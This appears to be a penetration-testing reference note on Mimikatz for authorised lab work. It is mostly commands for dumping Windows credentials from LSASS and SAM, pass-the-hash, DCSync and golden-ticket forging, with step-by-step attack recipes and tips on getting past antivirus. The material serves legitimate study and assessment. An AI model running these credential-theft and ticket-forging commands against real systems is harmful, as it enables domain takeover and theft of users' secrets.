Mimikatz

Context — HTB / CPTS / authorised AD labs. Tool: Mimikatz (module reference).

Windows credential / Kerberos post-exploitation reference for authorised assessments. Commands track the upstream README and wiki. Prefer modern alternatives (nxc … --sam/--lsa, secretsdump, Rubeus) when EDR blocks Mimikatz — still learn the module language for older labs and reports.

Related notes: Rubeus, Impacket, NetExec, Hashcat, Certipy, Cobalt Strike.

Summary

Mimikatz reads Windows secrets from LSASS, SAM/LSA, and Kerberos, and can perform PtH/PtT and ticket forging. On modern hosts expect Credential Guard, LSA protection, and EDR to block naive runs. Use only with authorisation; treat dumps as highly sensitive evidence.

Danger — Authorised-use framing

1. Requires appropriate privileges (often high integrity + SeDebugPrivilege).
2. LSASS access is loudly monitored — prefer lab-safe methods when possible.
3. Never run against production without explicit ROE.

Session Hygiene

mimikatz # log
mimikatz # privilege::debug
mimikatz # token::elevate          # when needed
mimikatz # version

Important — Prerequisites

1. privilege::debug should return OK before sekurlsa::*.
2. log writes a transcript — useful for reports.
3. Architecture must match (x64 mimikatz on x64 Windows).

sekurlsa (LSASS)

sekurlsa::logonpasswords
sekurlsa::tickets /export
sekurlsa::ekeys
sekurlsa::pth /user:Administrator /domain:DOMAIN /ntlm:NTHASH /run:cmd.exe

Module breakdown

1. logonpasswords: MSV / TSPKG / WDigest / Kerberos material from logon sessions.
2. tickets /export: .kirbi files for Rubeus ptt or Mimikatz kerberos::ptt.
3. pth: spawn a process with alternate NTLM credentials (PTH).
4. WDigest cleartext appears only if WDigest is enabled (legacy configs).

lsadump / DCSync

lsadump::sam
lsadump::secrets
lsadump::lsa /patch
lsadump::dcsync /domain:DOMAIN.LOCAL /user:krbtgt
lsadump::dcsync /domain:DOMAIN.LOCAL /user:Administrator
lsadump::dcsync /domain:DOMAIN.LOCAL /all /csv

Warning — DCSync rights

1. Needs replication rights (e.g. Domain Admins / equivalent ACLs) — map with BloodHound.
2. Prefer Impacket secretsdump.py -just-dc-user from Linux when you already have creds.
3. /user:krbtgt enables golden-ticket tradecraft — document carefully.

kerberos

kerberos::list /export
kerberos::ptt c:\temp\ticket.kirbi
kerberos::purge
kerberos::golden /user:Administrator /domain:domain.local \
  /sid:S-1-5-21-... /krbtgt:KRBTGT_NT_HASH /ptt

Tip — Harvest/monitor/roast flows are often cleaner in Rubeus, but Mimikatz remains ubiquitous in writeups and older lab guides.

crypto / vault

crypto::capi
crypto::cng
crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
crypto::keys /export
vault::cred
vault::list

Practical Recipes

# A) Local admin → LSASS → PTH
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:Administrator /domain:CORP /ntlm:fc525c96... /run:powershell.exe

# B) DA → DCSync krbtgt → golden
lsadump::dcsync /domain:corp.local /user:krbtgt
kerberos::golden /user:EvilAdmin /domain:corp.local /sid:S-1-5-21-... \
  /krbtgt:HASH /ptt

# C) Export tickets for offline reuse
sekurlsa::tickets /export

Troubleshooting & Gotchas

Common failures

1. Privilege ‘20’ KO: not elevated / PPL blocking — try accepted lab bypasses only inside ROE.
2. Empty passwords: Credential Guard / no WDigest — collect NT hashes or tickets instead.
3. AV deleted binary: sideload from approved C2 toolkit or use non-Mimikatz dumpers in that lab.

Lessons Learned

1. privilege::debug + matching arch before anything else.
2. Export tickets early; sessions disappear on logoff.
3. DCSync > interactive LSASS on DCs when you already have replication rights.
4. Cross-tool fluency (Mimikatz ↔ Rubeus ↔ Impacket) matters more than one binary.
5. Treat outputs as credential inventory for the report, not a souvenir stash.

References

1. gentilkiwi/mimikatz: https://github.com/gentilkiwi/mimikatz
2. Mimikatz Wiki: https://github.com/gentilkiwi/mimikatz/wiki
3. gentilkiwi blog: https://blog.gentilkiwi.com/mimikatz
4. MITRE ATT&CK — OS Credential Dumping: https://attack.mitre.org/techniques/T1003/
5. HackTricks — Mimikatz: https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-mimikatz